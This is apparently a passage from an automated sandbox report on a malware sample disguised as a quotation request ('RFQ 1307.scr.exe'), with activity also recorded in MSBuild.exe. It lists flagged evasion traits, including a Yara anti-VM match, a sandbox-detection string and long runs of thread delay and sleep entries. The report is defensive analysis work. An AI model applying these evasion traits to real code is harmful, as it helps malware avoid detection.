Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Memory allocated: 1600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Memory allocated: 3460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Memory allocated: 3380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598995	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596746	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596595	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595441	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594437	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Window / User API: threadDelayed 2771	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Window / User API: threadDelayed 7045	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 7394	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2453	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7640	Thread sleep count: 2771 > 30	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7640	Thread sleep count: 7045 > 30	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -99108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98997s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98622s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -96046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95580s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95207s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -95078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94530s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe TID: 7584	Thread sleep time: -94093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8048	Thread sleep count: 7394 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8048	Thread sleep count: 2453 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598995s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597249s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -597003s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596746s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596595s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595441s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8044	Thread sleep time: -594437s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 99108	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98997	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98622	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98500	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97796	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96921	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96812	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96703	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96593	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96484	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96374	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96156	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 96046	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95937	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95828	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95718	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95580	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95437	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95327	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95207	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 95078	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94968	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94859	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94750	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94640	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94530	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94421	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94312	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94203	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Thread delayed: delay time: 94093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599328	Jump to behavior
